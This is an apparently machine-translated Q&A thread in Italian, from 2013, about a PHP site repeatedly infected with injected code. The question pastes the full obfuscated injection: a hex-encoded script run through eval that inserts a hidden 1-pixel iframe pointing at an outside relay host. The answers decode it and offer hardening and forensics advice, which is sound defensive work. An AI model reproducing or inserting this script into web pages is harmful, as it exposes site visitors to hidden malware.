Interrompe le iniezioni di codice nel codice della pagina

3

Ho iniziato un argomento QUI su il sito StackOverflow, ma è stato riferito qui.

Ho ricevuto alcune informazioni lì, ma penso che sia necessario un input più approfondito. Quindi le persone speranzose qui possono aiutarti.

Ho alcuni domini che utilizzo per siti e test. La maggior parte sono ospitati con un sito di dominio ben noto, gli altri con uno piccolo.

Recentemente ho notato che il layout della mia pagina si stava esaurendo. Durante l'ispezione, ho notato che un iFrame (che non ho mai messo lì) era in esecuzione.

L'ho rimosso e ho cambiato i permessi dei miei file.

È successo di nuovo alcune volte, poi cambiato da un iFrame a un javascript. Qui è da vedere.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
 asgq=[0x28,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x28,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x76,0x61,0x72,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x20,0x3d,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x28,0x27,0x69,0x66,0x72,0x61,0x6d,0x65,0x27,0x29,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x72,0x63,0x20,0x3d,0x20,0x27,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x66,0x72,0x61,0x73,0x73,0x65,0x6c,0x74,0x2d,0x6b,0x61,0x6c,0x6f,0x72,0x61,0x6d,0x61,0x2e,0x6e,0x6c,0x2f,0x72,0x65,0x6c,0x61,0x79,0x2e,0x70,0x68,0x70,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x27,0x61,0x62,0x73,0x6f,0x6c,0x75,0x74,0x65,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x62,0x6f,0x72,0x64,0x65,0x72,0x20,0x3d,0x20,0x27,0x30,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x68,0x65,0x69,0x67,0x68,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x77,0x69,0x64,0x74,0x68,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x6c,0x65,0x66,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x74,0x6f,0x70,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x21,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x77,0x72,0x69,0x74,0x65,0x28,0x27,0x3c,0x64,0x69,0x76,0x20,0x69,0x64,0x3d,0x5c,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x5c,0x27,0x3e,0x3c,0x2f,0x64,0x69,0x76,0x3e,0x27,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x2e,0x61,0x70,0x70,0x65,0x6e,0x64,0x43,0x68,0x69,0x6c,0x64,0x28,0x79,0x6f,0x6b,0x64,0x6a,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x7d,0xd,0xa,0x7d,0x29,0x28,0x29,0x3b];try{document.body|=1}catch(gdsgsdg){zz=3;dbshre=34;if(dbshre){vfvwe=0;try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window[\"eval\"];}s=\"\";for(i=0;i-499!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}z=s;e(s);}}</script>";
#/68c8c7#
?>

Si noti che è uno script PHP. Direttamente nel mio codice. Ho anche la stessa cosa in HTML.

Sembra che tutti i miei siti siano stati infettati da questo o da vari tipi di questo, anche quelli non sullo stesso host.

Qualcuno può aiutarti?

    
posta Tempus 19.03.2013 - 21:08
fonte

3 risposte

6

Solo per mostrarti cosa fa questo script poiché è sempre interessante l'uso delle tecniche di offuscamento delle persone.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
asgq=[0x72,0x65,0x6c,0x61,...0x28,0x29,0x3b];
try{document.body|=1} catch(gdsgsdg){


    // Some attempt of obfuscation
    zz=3;
    dbshre=34;

 if(dbshre){ 
      vfvwe=0;

    // Some attempt of obfuscation
      try{} catch(agdsg) {
           vfvwe=1;
      }

      if(!vfvwe){
        // This is the Eval Function
           e=window[\"eval\"];
      }

      s=\"\";
      for(i=0;i-499!=0;i++){
           if(window.document) {
                // Add encoded script (asgg) to variable s.
                  s+=String.fromCharCode(asgq[i]);
           }
      }

// Some attempt of obfuscation
 z=s; 
// 'e' is the eval function which was defined above.
 e(s);
 }
}
</script>";
#/68c8c7#
?>

E la variabile 'asgq' aveva il seguente codice:

(function () {
    var yokdj = document.createElement('iframe');

    yokdj.src = 'http://*********.nl/relay.php';
    yokdj.style.position = 'absolute';
    yokdj.style.border = '0';
    yokdj.style.height = '1px';
    yokdj.style.width = '1px';
    yokdj.style.left = '1px';
    yokdj.style.top = '1px';

    if (!document.getElementById('yokdj')) {
        document.write('<div id=\'yokdj\'></div>');
        document.getElementById('yokdj').appendChild(yokdj);
    }
})();

Ho ritirato l'URL perché non penso che sia una buona idea che le persone visitino siti Web che potrebbero contenere malware.

    
risposta data 20.03.2013 - 00:27
fonte
4

Dici che gli script php come questi sono stati iniettati direttamente nei tuoi file, il che implica che un utente malintenzionato ha avuto alcune possibilità di modificare i file sulle tue macchine (ci sono molti modi per ottenere questo). In qualche modo, hai creato la stessa vulnerabilità su tutti i tuoi siti.

È possibile che tu abbia qualche problema che risulta essere molto comune / ben noto e gli script automatizzati di qualcuno si sono accorti del fatto. Alcune mie idee mi vengono in mente:

  • Iniezione di codice PHP

Alcuni utenti malintenzionati sono stati in grado di creare input dell'utente in una parte dei siti Web in modo che possano eseguire qualsiasi codice php che desiderano. Ad esempio, se dovessi prendere l'input da ae inserirlo in un php eval ( link , allora qualcuno sarebbe in grado di chiamare file_put_contents ( link ) e modificare direttamente i tuoi file php in avere il codice aggiuntivo.

  • Accesso alla shell

Alcuni malintenzionati possono eseguire ciò che vogliono perché si sono introdotti nella macchina in qualche altro modo. Ad esempio, se stai accettando gli accessi da ssh e la password dell'account di root è "password", qualcuno potrà accedere facendo banalmente tentativi di accedere al tuo computer utilizzando le voci di un dizionario di password comune.

Questa è tutta la speculazione però. Alcune raccomandazioni generali (ricerca come fare queste separatamente).

  • Cambia le password in tutti gli account di accesso sulla macchina.

  • Assicurati che non ci siano servizi in esecuzione che non hai pianificato da soli

  • Indurisci la tua configurazione PHP. Ricerche di Google simili a Harden php configuration ti aiuteranno a fare ricerche.

  • Indurisci la configurazione del tuo server web. Assicurati che il tuo server web sia in esecuzione utilizzando un account utente che è un utente creato solo per il tuo server web.

  • Puoi controllare il tuo codice per problemi, ma dubito che saprai cosa cercare. Forse potresti provare qualcosa come Tripwire (non l'ho mai usato prima) per aspettare / vedere i cambiamenti nel file. Una volta rilevate le modifiche, è possibile sapere a che ora sono accadute (si potrebbe anche solo guardare il timestamp sul file modificato). Da lì puoi scavare attraverso i log del server web / log php / syslog / authlog per giocare a forensics per scoprire dove si trova il tuo buco.

risposta data 20.03.2013 - 08:10
fonte
1

hai guardato nel contenuto del tuo database per vedere se questi script sono memorizzati lì? (scarica il contenuto e fai una ricerca testuale) Devi stabilire se gli hacker hanno inserito questo nella tua pagina tramite il file system (attraverso un file remoto include link ) o inserendolo nel database tramite SQL injection. Quando l'hai rimosso, da dove lo hai rimosso?

cerca alcune delle parole chiave in questo codice inserito:

google "yokdj" trova link

google "fromCharCode (asgq [i]" produce l'elenco dei siti infetti. inoltre, questa ricerca produce parecchie discussioni su questo codice:  thread di stackoverflow:
link E:

link

Suoni come questo ha recentemente colpito diversi sistemi correlati al php. Gli altri riferiscono che viene subito dopo che è stato rimosso, il che mi fa pensare che un bot stia iniettando questo in un modulo sul tuo sito. Per favore facci sapere cosa trovi!

    
risposta data 20.03.2013 - 22:12
fonte

Leggi altre domande sui tag